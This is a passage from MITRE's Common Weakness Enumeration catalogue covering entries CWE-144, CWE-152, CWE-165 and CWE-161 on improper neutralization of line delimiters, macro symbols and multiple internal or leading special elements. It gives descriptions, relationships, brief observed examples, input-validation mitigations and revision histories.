While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLeading Special Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Leading Special Element
2009-05-27Failure to Sanitize Leading Special Element
2010-04-05Improper Sanitization of Leading Special Elements

CWE-144: Improper Neutralization of Line Delimiters

Weakness ID: 144
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Linebreak in field of PHP script allows admin privileges when written to data file.
+ Potential Mitigations
Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLine Delimiter
The CERT Oracle Secure Coding Standard for Java (2011)IDS03-JDo not log unsanitized user input
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Line Delimiter
2010-04-05Failure to Sanitize Line Delimiters

CWE-152: Improper Neutralization of Macro Symbols

Weakness ID: 152
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMacro Symbol
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Macro Symbol
2008-04-11Failure to Remove Macro Symbol
2009-03-10Failure to Sanitize Macro Symbol
2010-04-05Improper Sanitization of Macro Symbols

CWE-165: Improper Neutralization of Multiple Internal Special Elements

Weakness ID: 165
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.164Improper Neutralization of Internal Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.45Path Equivalence: 'file...name' (Multiple Internal Dot)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.53Path Equivalence: '\multiple\\internal\backslash'
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Potential Mitigations
Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Internal Special Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name, Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Internal Special Elements
2009-05-27Failure to Sanitize Multiple Internal Special Elements
2010-04-05Improper Sanitization of Multiple Internal Special Elements

CWE-161: Improper Neutralization of Multiple Leading Special Elements

Weakness ID: 161
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.160Improper Neutralization of Leading Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.50Path Equivalence: '//multiple/leading/slash'
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
+ Potential Mitigations
Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Leading Special Elements
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
